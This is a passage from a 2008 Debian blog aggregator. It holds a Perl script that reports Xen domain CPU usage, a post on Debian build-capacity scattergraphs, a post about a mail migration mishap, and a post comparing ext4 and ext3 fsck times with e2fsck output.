unstable uses 0.30% of one CPU Now the command “xm top” can give you the amount of CPU time used at any moment (which is very useful). But it’s also good to be able to see how much is being used over the course of some days of operation. For example if a domain is using the equivalent of 34% of one CPU over the course of a week (as one domain that I run is doing) then it makes sense to allocate more than one VCPU to it so that things don’t slow down at peak times or when cron jobs are running. I believe that it’s best to limit the number of CPUs allocated to Xen domains. For example I am running a Xen server with 8 CPU cores. I could grant each domain access to 8 VCPUs, but then any domain could use all that CPU power if it ran wild. While if I give no domain more than 2 VCPUs then one domain could use all the CPU resources allocated to it without the other domains being impacted. I realise that there are scheduling algorithms in the Xen kernel that are designed to deal with such situations, but I believe that simply denying access to excessive resource use is more effective and reliable. I have not filed a bug report requesting that my script be added to one of the Xen packages as I’m not sure which one it would belong in (and also it’s a bit of a hack). It’s licensed under the GPL so anyone who wants to use it can do what they want. Any distribution package maintainer who wants to include it in a Xen utilities package is welcome to do so. The code is below.
#!/usr/bin/perl
use strict; open(LIST, "xm list --long ") or die "Can't get list"; my $name = "Dom0";
my $uptime = 0.0;
my $cpu_time = 0.0; open(UPTIME, "</proc/uptime") or die "Can't open /proc/uptime";
my @arr = split(/ /, <UPTIME>);
$uptime = $arr[0];
close(UPTIME); while(<LIST>)

  chomp;
  if($_ =~ /^\)/)
 
    my $cpu = $cpu_time / $uptime * 100.0;
    printf("%s uses %.2f%% of one CPU\n", $name, $cpu);
    next;
 
  $_ =~ s/\).*$//;
  if($_ =~ /up_time /)
 
    $_ =~ s/^.*up_time //;
    $uptime = $_;
    next;
 
  if($_ =~ /cpu_time /)
 
    $_ =~ s/^.*cpu_time //;
    $cpu_time = $_;
    next;
 
  if($_ =~ /\(name /)
 
    $_ =~ s/^.*name //;
    $name = $_;
    next;
 

close(LIST);

9 August 2008

Wouter Verhelst: Scattergraphs

Debcamp is nice. Talking to people in person rather than having to do IRC to get anything done is a breeze, really. One thing I haven't been particularly happy about is the fact that there aren't any good statistics on what the build capacity of an architecture is; i.e., you don't know you're low on build capacity until you suddenly start backlogging and it's too late. So, since J rg Jaspert, Mark Hymers, and Steve Gran were there, I asked them whether it'd be possible to add some data to the projectb database about installing a binary. One additional column with a default now() option later, and we now have interesting data that I can make statistics of. Of course, since that column was only added four days ago, during one of which the link to ftp-master.debian.org was down (meaning, no uploads), there's not much data there yet; but I can start making some graphs now. Of course, the hard part is trying to figure out how to present the data in a manner that one can actually get useful conclusions from, which is harder than it seems. Anyhow, I'm trying. For now, on my public space on merkel, you can find a (mostly empty) per-architecture scattergraph relating the size of a binary package against the time between the dinstall of a source package and that of its binary for that particular architecture. If the time between a binary upload and a source upload is "often" more than a day for small packages, then it's obvious that the architecture in question is having problems keeping up. It's not very useful (yet), but the graphs will be updated on a daily basis, so that hopefully one or two months from now, they will contain useful data. Note that the scales are fixed to go from 0.1 day to 1000 days, and from 1k packages to 512M packages, so as to make sure one can actually compare graphs. I'm also trying to come up with a useful line-based graph, so that it is possible to compare architectures over time against eachother. This will probably involve something with averages and standard deviations or some such, I guess. Not sure yet.

Wouter Verhelst: Mail "migration"

I never thought I'd have to use my 'cluebat' section in my blog for myself, but apparently I do. Since I moved out, a while back, mail to wouter@grep.be (and w@uter.be) was still being delivered on my Thecus N2100 that serves as server and internet gateway at my parents' place. This made sense when I set it up, because I don't usually read mail anywhere but home. Since I now don't live with my parents anymore, however, I don't usually read mail anywhere near that server anymore. So, I'd been preparing to move the mail endpoint from goa (the Thecus) to samba (which has been my primary MX for quite a while, and which also has sufficient disk space to do so). Yesterday I made the switch, but forgot the important thing of checking up on whether the mail was actually arriving. I'll spare the details, but suffice to say that I did make an error, and that over the last 12 hours, not a single mail that was sent by a server not known to me could send email to any of the grep.be or uter.be domains, amongst others. It wasn't blackholed (only 5xx'ed), but that's bad enough; I've now probably been kicked off every mailinglist in the universe. Go me! Anyhow; if you sent me an email and you expect me to read it, you may want to send it back. Off trying to resubscribe myself to some mailinglists now...

8 August 2008

Theodore Ts'o: Fast ext4 fsck times

This wasn’t one of the things we were explicitly engineering for when were designing the features that would go into ext4, but one of the things which we’ve found as a pleasant surprise is how much more quickly ext4 filesystems can be checked. Ric Wheeler reported some really good fsck times that were over ten times better than ext3 using filesystems generated using what was admittedly a very artificial/synthetic benchmark. During the past six weeks, though, I’ve been using ext4 on my laptop, and I’ve seen very similar results. This past week, while at LinuxWorld, I’ve been wowing people with the following demonstration. Using an LVM snapshot, I ran e2fsck on the root filesystem on my laptop. So using a 128 gigabyte filesystem, on a laptop drive, this is what people who got to see my demo saw:
e2fsck 1.41.0 (10-Jul-2008)
Pass 1: Checking inodes, blocks, and sizes
Pass 1: Memory used: 3440k/12060k (3311k/130k), time: 17.82/ 5.52/ 1.11
Pass 1: I/O read: 233MB, write: 0MB, rate: 13.08MB/s
Pass 2: Checking directory structure
Pass 2: Memory used: 3440k/13476k (3311k/130k), time: 41.47/ 2.16/ 3.30
Pass 2: I/O read: 274MB, write: 0MB, rate: 6.61MB/s
Pass 3: Checking directory connectivity
Peak memory: Memory used: 3440k/14504k (3311k/130k), time: 59.88/ 7.75/ 4.42
Pass 3: Memory used: 3440k/13476k (3311k/130k), time:  0.04/ 0.02/ 0.01
Pass 3: I/O read: 1MB, write: 0MB, rate: 27.38MB/s
Pass 4: Checking reference counts
Pass 4: Memory used: 3440k/6848k (3310k/131k), time:  0.25/ 0.24/ 0.00
Pass 4: I/O read: 0MB, write: 0MB, rate: 0.00MB/s
Pass 5: Checking group summary information
Pass 5: Memory used: 3440k/5820k (3310k/131k), time:  3.13/ 1.85/ 0.10
Pass 5: I/O read: 5MB, write: 0MB, rate: 1.60MB/s
  779726 inodes used (9.30%)
       1 non-contiguous inode (0.0%)
         # of inodes with ind/dind/tind blocks: 719/712/712
22706429 blocks used (67.67%)
       0 bad blocks
       4 large files
  673584 regular files
   58903 directories
    1304 character device files
    4575 block device files
      11 fifos
    1818 links
   41336 symbolic links (32871 fast symbolic links)
       4 sockets
--------
  781535 files
Memory used: 3440k/5820k (3376k/65k), time: 63.35/ 9.86/ 4.54
I/O read: 511MB, write: 1MB, rate: 8.07MB/s
How does this compare against ext3? To answer that, I copied my entire ext4 file system to an equivalently sized partition formatted for use with ext3. This comparison is a little unfair since the ext4 file system has six weeks of aging on it, where as the ext3 filesystem was a fresh copy, so the directories are a bit more optimized. That probably explains the slightly better times in pass 2 for the ext3 file system. Still, it was no contest; the ext4 file system was almost seven times faster to check using e2fsck compared to the ext3 file system. Fsck on an ext4 filesystem is fast!
Comparison of e2fsck times on an 128GB partition
Pass ext3 ext4
time (s) I/O time (s) I/O
real user system MB read MB/s real user system MB read MB/s
1 382.63 18.06 14.99 2376 6.21 17.82 5.52 1.11 233 13.08
2 31.76 1.76 2.13 303 9.54 41.47 2.16 3.3 274 6.61
3 0.03 0.01 0 1 31 0.04 0.02 0.01 1 27.38
4 0.2 0.2 0 0 0 0.25 0.24 0 0 0
5 9.86 1.26 0.22 5 0.51 3.13 1.85 0.1 5 1.6
Total 424.81 21.36 17.34 2685 6.32 63.35 9.86 4.54 511 8.07

Next.

Previous.